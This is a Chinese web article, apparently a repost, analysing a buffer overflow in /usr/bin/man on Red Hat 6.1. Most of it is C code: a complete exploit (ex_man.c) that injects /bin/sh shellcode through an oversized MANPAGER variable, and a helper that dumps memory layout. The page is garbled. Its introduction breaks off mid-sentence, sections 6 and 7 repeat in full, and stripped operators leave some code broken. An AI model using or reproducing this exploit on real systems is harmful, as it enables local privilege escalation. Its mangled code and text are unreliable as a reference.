缓冲区溢出分析
互联网 发布时间:2008-10-08 19:35:35 作者:佚名
我要评论
1. 简介
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对
redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机
没有打不可执
这里根本没有使用传统的 get_esp() 函数,而且这个exploit code适用于常规环境。
但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址
覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意
到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再
就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力
猜测调整了。
我还碰到一个问题,该exploit code在SecureCRT或者CRT下执行都无法取得shell,
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议
如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint
6. 一个辅助观察execle()之后内存布局的小程序
/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define SUCCESS 0
#define FAILURE -1
#define ENVDATA 0xbfffff00
#define ENVDATALEN 256
void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "byteArray [ %lu bytes ] ----> \n", byteArrayLen );
if ( byteArrayLen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k > 0; k--, offset = 16 )
{
fprintf( stderr, "X ", offset );
for ( j = 0; j < 16; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j , i )
{
/* if ( isprint( (int)byteArray ) ) */
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "X ", offset );
for ( j = 0 ; j < k; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j , i )
{
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
return;
} /* end of outputBinary */
int main ( int argc, char * argv[] )
{
u_char * envData = ( u_char * )ENVDATA;
size_t envDataLen = ENVDATALEN;
if ( argc > 1 )
{
/* 采用16进制 */
envData = ( u_char * )strtoul( argv[1], NULL, 16 );
if ( argc > 2 )
{
/* 采用10进制 */
envDataLen = ( size_t )strtoul( argv[2], NULL, 10 );
}
}
fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n", argv[0] );
fprintf( stderr, "envData = %p\n", envData );
fprintf( stderr, "envDataLen = %lu\n", envDataLen );
outputBinary( envData, envDataLen );
return( SUCCESS );
} /* end of main */
程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个
地方修改一下:
#define VULPROGRAM "./ev"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度
不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下:
cp ev usrbin_man
#define VULPROGRAM "./usrbin_man"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。
这种技术手段适用于SPARC/Solaris平台,我们利用它可以确定很多关键性地址,可
以调整那些需要n字节边界对齐的地方。
7. 编写针对常规环境下的溢出攻击程序
--------------------------------------------------------------------------
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : warning3 < mailto: warning3@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define NOP 0x90
#define SUCCESS 0
#define FAILURE -1
#define OFFSET 2000
unsigned long get_esp ( void )
{
__asm__
("
movl %esp, 陎
");
} /* end of get_esp */
int main ( int argc, char * argv[] )
{
char * env[2];
u_long * pointer;
u_long retAddress;
char vulbuf[ VULPOINT 5 ];
memset( vulbuf, NOP, VULPOINT 5 );
memcpy( vulbuf VULPOINT - ( strlen( shellcode ) 20 ),
shellcode, strlen( shellcode ) );
retAddress = get_esp() OFFSET;
pointer = ( u_long * )( vulbuf VULPOINT );
*pointer = retAddress;
fprintf( stderr, "retAddress = 0xx\n", retAddress );
memcpy( vulbuf, "MANPAGER=", 9 );
vulbuf[ VULPOINT 4 ] = '\0';
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
return( SUCCESS );
} /* end of main */
但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址
覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意
到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再
就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力
猜测调整了。
我还碰到一个问题,该exploit code在SecureCRT或者CRT下执行都无法取得shell,
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议
如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint
6. 一个辅助观察execle()之后内存布局的小程序
/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define SUCCESS 0
#define FAILURE -1
#define ENVDATA 0xbfffff00
#define ENVDATALEN 256
void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "byteArray [ %lu bytes ] ----> \n", byteArrayLen );
if ( byteArrayLen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k > 0; k--, offset = 16 )
{
fprintf( stderr, "X ", offset );
for ( j = 0; j < 16; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j , i )
{
/* if ( isprint( (int)byteArray ) ) */
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "X ", offset );
for ( j = 0 ; j < k; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j , i )
{
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
return;
} /* end of outputBinary */
int main ( int argc, char * argv[] )
{
u_char * envData = ( u_char * )ENVDATA;
size_t envDataLen = ENVDATALEN;
if ( argc > 1 )
{
/* 采用16进制 */
envData = ( u_char * )strtoul( argv[1], NULL, 16 );
if ( argc > 2 )
{
/* 采用10进制 */
envDataLen = ( size_t )strtoul( argv[2], NULL, 10 );
}
}
fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n", argv[0] );
fprintf( stderr, "envData = %p\n", envData );
fprintf( stderr, "envDataLen = %lu\n", envDataLen );
outputBinary( envData, envDataLen );
return( SUCCESS );
} /* end of main */
程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个
地方修改一下:
#define VULPROGRAM "./ev"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度
不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下:
cp ev usrbin_man
#define VULPROGRAM "./usrbin_man"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。
这种技术手段适用于SPARC/Solaris平台,我们利用它可以确定很多关键性地址,可
以调整那些需要n字节边界对齐的地方。
7. 编写针对常规环境下的溢出攻击程序
--------------------------------------------------------------------------
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : warning3 < mailto: warning3@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define NOP 0x90
#define SUCCESS 0
#define FAILURE -1
#define OFFSET 2000
unsigned long get_esp ( void )
{
__asm__
("
movl %esp, 陎
");
} /* end of get_esp */
int main ( int argc, char * argv[] )
{
char * env[2];
u_long * pointer;
u_long retAddress;
char vulbuf[ VULPOINT 5 ];
memset( vulbuf, NOP, VULPOINT 5 );
memcpy( vulbuf VULPOINT - ( strlen( shellcode ) 20 ),
shellcode, strlen( shellcode ) );
retAddress = get_esp() OFFSET;
pointer = ( u_long * )( vulbuf VULPOINT );
*pointer = retAddress;
fprintf( stderr, "retAddress = 0xx\n", retAddress );
memcpy( vulbuf, "MANPAGER=", 9 );
vulbuf[ VULPOINT 4 ] = '\0';
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
return( SUCCESS );
} /* end of main */
相关文章
CC主要是用来攻击页面的,大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,论坛的页2024-01-06
入侵者主要通过Potato程序攻击拥有SYSTEM权限的端口伪造网络身份认证过程,利用NTLM重放机制骗取SYSTEM身份令牌,最终取得系统权限,该安全风险微软并不认为存在漏洞,所以2021-04-15
这篇文章主要介绍了文件上传漏洞全面渗透分析小结,这里主要为大家分享一下防御方法,需要的朋友可以参考下2021-03-21- 这篇文章主要介绍了sql手工注入语句&SQL手工注入大全,需要的朋友可以参考下2017-09-06
- 这篇文章主要介绍了详解Filezilla server 提权,需要的朋友可以参考下2017-05-13
FileZilla Server 2008 x64 提权与防御方法
这篇文章主要介绍了FileZilla Server 2008 x64 提权与防御方法,需要的朋友可以参考下2017-05-13- 不久之前我们说过关于http和https的区别,对于加密的https,我们一直认为它是相对安全的,可今天要讲的是,一种绕过HTTPS加密得到明文信息的web攻击方式,不知道这消息对你2016-08-10
iPhone和Mac也会被黑 一条iMessage密码可能就被盗了
一直以来苹果系统的安全性都是比安卓要高的,但是再安全的系统也免不了漏洞,苹果也一样。最近爆出的新漏洞,只需要接收一条多媒体信息或者iMessage就会导致用户信息泄露。2016-07-27- 国家正在修正关于黑客方面的法律法规,有一条震惊黑客圈的“世纪佳缘”起诉白帽黑客事件,深深的伤害了广大黑客们的心,加上扎克伯格和特拉维斯·卡兰尼克账号被盗,于是黑2016-07-11
如何逆向破解HawkEye keylogger键盘记录器进入攻击者邮箱
面对恶意邮件攻击,我们就只能默默忍受被他攻击,连自我保护能力都没有谈什么反抗?让人痛快的是,如今有了解决办法,逆向破解键盘记录器,进入攻击者邮箱2016-07-06



最新评论